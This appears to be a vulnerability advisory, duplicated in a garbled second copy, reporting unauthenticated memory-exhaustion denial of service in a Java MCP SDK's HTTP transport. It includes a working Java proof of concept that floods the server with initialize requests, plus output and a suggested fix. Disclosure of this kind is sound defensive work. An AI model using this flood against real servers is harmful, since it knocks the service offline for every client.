Summary
The Streamable HTTP server transport stores a new session on every initialize request and never removes it on its own. It has no idle timeout, no cap on the number of sessions, and no background reaper. A session is removed only by an explicit client DELETE. The
security validator defaults to a no-op, so initialize is unauthenticated. An attacker can send initialize requests in a loop and never delete them, and the server keeps one session object per request until it runs out of memory.
Details
In HttpServletStreamableServerTransportProvider, doPost handles an initialize request by starting a session and putting it into a sessions map keyed by a fresh session id:
if (message instanceof McpSchema.JSONRPCRequest jsonrpcRequest
&& jsonrpcRequest.method().equals(McpSchema.METHOD_INITIALIZE)) {
// ...
McpStreamableServerSession.McpStreamableServerSessionInit init = this.sessionFactory
.startSession(initializeRequest);
this.sessions.put(init.session().getId(), init.session());
// ...
}
Nothing else in the transport removes entries except the DELETE handler. The provider has a keepAliveInterval for pings, but no idle timeout, no maximum session count, and no background eviction. The sessions field is a plain ConcurrentHashMap that only grows:
private final ConcurrentHashMap<String, McpStreamableServerSession> sessions = new ConcurrentHashMap<>();
The securityValidator field defaults to the NOOP validator, so no authentication is required to reach the initialize path:
private ServerTransportSecurityValidator securityValidator = ServerTransportSecurityValidator.NOOP;
Each initialize adds a session that stays until the client deletes it. A client that never deletes leaves the session in the map for the life of the process.
PoC
Reproduced against the released io.modelcontextprotocol.sdk:mcp-core:2.0.0. The program builds the real Streamable HTTP transport with the default (no-op) security validator, sends 20,000 initialize requests and no DELETE, and reads the private sessions map to show it grows one entry per request and never shrinks. It drives the transport with java.lang.reflect.Proxy for the servlet request and response, so no servlet container is needed.
Fetch the JARs (all from Maven Central):
mcp-core:2.0.0, mcp-json-jackson2:2.0.0, jackson-databind/core/annotations:2.18.2,
com.networknt:json-schema-validator:2.0.0, io.projectreactor:reactor-core:3.7.0,
org.reactivestreams:reactive-streams:1.0.4, jakarta.servlet:jakarta.servlet-api:6.1.0,
org.slf4j:slf4j-api:2.0.16, org.apache.commons:commons-lang3:3.17.0
SessionFloodPoc.java:
import io.modelcontextprotocol.server.McpServer;
import io.modelcontextprotocol.server.transport.HttpServletStreamableServerTransportProvider;
import io.modelcontextprotocol.json.McpJsonMapper;
import io.modelcontextprotocol.json.jackson2.JacksonMcpJsonMapper;
import com.fasterxml.jackson.databind.ObjectMapper;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;
public class SessionFloodPoc {
static final int[] status = new int[1];
static HttpServletRequest req(String method, String uri, Map<String,String> headers, String body) {
BufferedReader br = new BufferedReader(new StringReader(body == null ? "" : body));
InvocationHandler h = (p, m, a) -> switch (m.getName()) {
case "getMethod" -> method;
case "getRequestURI" -> uri;
case "getRequestURL" -> new StringBuffer("http://localhost" + uri);
case "getQueryString" -> null;
case "getParameter" -> null;
case "getHeader" -> headers.get(a[0]);
case "getHeaderNames" -> Collections.enumeration(headers.keySet());
case "getHeaders" -> Collections.enumeration(
headers.get(a[0]) == null ? List.of() : List.of(headers.get(a[0])));
case "getReader" -> br;
case "getContextPath", "getServletPath" -> "";
case "getPathInfo" -> uri;
case "getCharacterEncoding" -> "UTF-8";
case "startAsync" -> asyncCtx();
case "getRemoteAddr" -> "127.0.0.1";
case "equals" -> p == a[0];
case "hashCode" -> System.identityHashCode(p);
case "toString" -> "req";
default -> defaultVal(m);
};
return (HttpServletRequest) Proxy.newProxyInstance(
SessionFloodPoc.class.getClassLoader(), new Class[]{HttpServletRequest.class}, h);
}
static HttpServletResponse resp() {
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter(sw);
InvocationHandler h = (p, m, a) -> switch (m.getName()) {
case "setStatus" -> { status[0] = (int) a[0]; yield null; }
case "getWriter" -> pw;
case "equals" -> p == a[0];
case "hashCode" -> System.identityHashCode(p);
case "toString" -> "resp";
default -> defaultVal(m);
};
return (HttpServletResponse) Proxy.newProxyInstance(
SessionFloodPoc.class.getClassLoader(), new Class[]{HttpServletResponse.class}, h);
}
static Object asyncCtx() throws Exception {
Class<?> ac = Class.forName("jakarta.servlet.AsyncContext");
return Proxy.newProxyInstance(SessionFloodPoc.class.getClassLoader(),
new Class[]{ac}, (p, m, a) -> defaultVal(m));
}
static Object defaultVal(Method m) {
Class<?> r = m.getReturnType();
if (r == boolean.class) return false;
if (r.isPrimitive()) return 0;
return null;
}
static void call(Object t, String method, HttpServletRequest rq, HttpServletResponse rs) throws Exception {
for (Class<?> k = t.getClass(); k != null; k = k.getSuperclass())
try {
Method m = k.getDeclaredMethod(method, HttpServletRequest.class, HttpServletResponse.class);
m.setAccessible(true); m.invoke(t, rq, rs); return;
} catch (NoSuchMethodException ignored) {}
throw new NoSuchMethodException(method);
}
@SuppressWarnings("unchecked")
static Map<String,?> sessions(Object t) throws Exception {
Field f = t.getClass().getDeclaredField("sessions");
f.setAccessible(true);
return (Map<String,?>) f.get(t);
}
public static void main(String[] args) throws Exception {
McpJsonMapper mapper = new JacksonMcpJsonMapper(new ObjectMapper());
HttpServletStreamableServerTransportProvider transport =
HttpServletStreamableServerTransportProvider.builder()
.jsonMapper(mapper)
.mcpEndpoint("/mcp")
.build(); // no securityValidator -> defaults to NOOP (unauthenticated)
McpServer.sync(transport).serverInfo("flood-poc", "1.0.0").build();
Map<String,?> sessions = sessions(transport);
String initBody = "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":"
+ "{\"protocolVersion\":\"2025-06-18\",\"capabilities\":{},"
+ "\"clientInfo\":{\"name\":\"attacker\",\"version\":\"1\"}}}";
Runtime rt = Runtime.getRuntime();
int N = 20000;
for (int i = 1; i <= N; i++) {
HttpServletRequest rq = req("POST", "/mcp",
Map.of("Accept", "application/json, text/event-stream",
"Content-Type", "application/json"), initBody);
try { call(transport, "doPost", rq, resp()); } catch (Throwable ignored) {}
if (i % 2000 == 0) {
long usedMb = (rt.totalMemory() - rt.freeMemory()) / (1024 * 1024);
System.out.printf("after %6d initialize requests -> sessions retained = %6d, heap-used = %4d MB%n",
i, sessions.size(), usedMb);
}
}
System.out.printf("FINAL: %d initialize requests, %d sessions retained, 0 deleted.%n", N, sessions.size());
}
}
Compile and run (classpath separator ; on Windows, : elsewhere; put all jars plus . on the classpath). Observed output:
after 2000 initialize requests -> sessions retained = 2000, heap-used = 44 MB
after 4000 initialize requests -> sessions retained = 4000, heap-used = 37 MB
after 8000 initialize requests -> sessions retained = 8000, heap-used = 69 MB
after 14000 initialize requests -> sessions retained = 14000, heap-used = 122 MB
after 20000 initialize requests -> sessions retained = 20000, heap-used = 32 MB
FINAL: 20000 initialize requests, 20000 sessions retained, 0 deleted.
The sessions map holds one entry per initialize request and never releases any. The heap-used figure moves up and down as the garbage collector reclaims the transient request and response objects, but the retained sessions themselves are live and cannot be collected, so the map grows monotonically. Continued past available memory, the process runs out of heap and stops serving every client.
Impact
Unauthenticated denial of service through memory exhaustion (CWE-770). An attacker sends initialize requests repeatedly, each of which retains a session object, and never sends DELETE, so the sessions map grows without bound until the process runs out of memory and stops serving all clients. A single client can do this, and no credential is required because the default security validator is a no-op.
A suggested fix is to bound session retention rather than leaving it to the deployer. An idle timeout that expires sessions with no recent activity, together with a cap on the number of concurrent sessions and a background task that removes expired entries, closes the issue. The bound should be on by default.
Summary
The Streamable HTTP server transport stores a new session on every
initializerequest and never removes it on its own. It has no idle timeout, no cap on the number of sessions, and no background reaper. A session is removed only by an explicit clientDELETE. Thesecurity validator defaults to a no-op, so
initializeis unauthenticated. An attacker can sendinitializerequests in a loop and never delete them, and the server keeps one session object per request until it runs out of memory.Details
In
HttpServletStreamableServerTransportProvider,doPosthandles aninitializerequest by starting a session and putting it into asessionsmap keyed by a fresh session id:Nothing else in the transport removes entries except the
DELETEhandler. The provider has akeepAliveIntervalfor pings, but no idle timeout, no maximum session count, and no background eviction. Thesessionsfield is a plainConcurrentHashMapthat only grows:The
securityValidatorfield defaults to theNOOPvalidator, so no authentication is required to reach theinitializepath:Each
initializeadds a session that stays until the client deletes it. A client that never deletes leaves the session in the map for the life of the process.PoC
Reproduced against the released
io.modelcontextprotocol.sdk:mcp-core:2.0.0. The program builds the real Streamable HTTP transport with the default (no-op) security validator, sends 20,000initializerequests and noDELETE, and reads the privatesessionsmap to show it grows one entry per request and never shrinks. It drives the transport withjava.lang.reflect.Proxyfor the servlet request and response, so no servlet container is needed.Fetch the JARs (all from Maven Central):
SessionFloodPoc.java:Compile and run (classpath separator
;on Windows,:elsewhere; put all jars plus.on the classpath). Observed output:The
sessionsmap holds one entry perinitializerequest and never releases any. The heap-used figure moves up and down as the garbage collector reclaims the transient request and response objects, but the retained sessions themselves are live and cannot be collected, so the map grows monotonically. Continued past available memory, the process runs out of heap and stops serving every client.Impact
Unauthenticated denial of service through memory exhaustion (CWE-770). An attacker sends
initializerequests repeatedly, each of which retains a session object, and never sendsDELETE, so thesessionsmap grows without bound until the process runs out of memory and stops serving all clients. A single client can do this, and no credential is required because the default security validator is a no-op.A suggested fix is to bound session retention rather than leaving it to the deployer. An idle timeout that expires sessions with no recent activity, together with a cap on the number of concurrent sessions and a background task that removes expired entries, closes the issue. The bound should be on by default.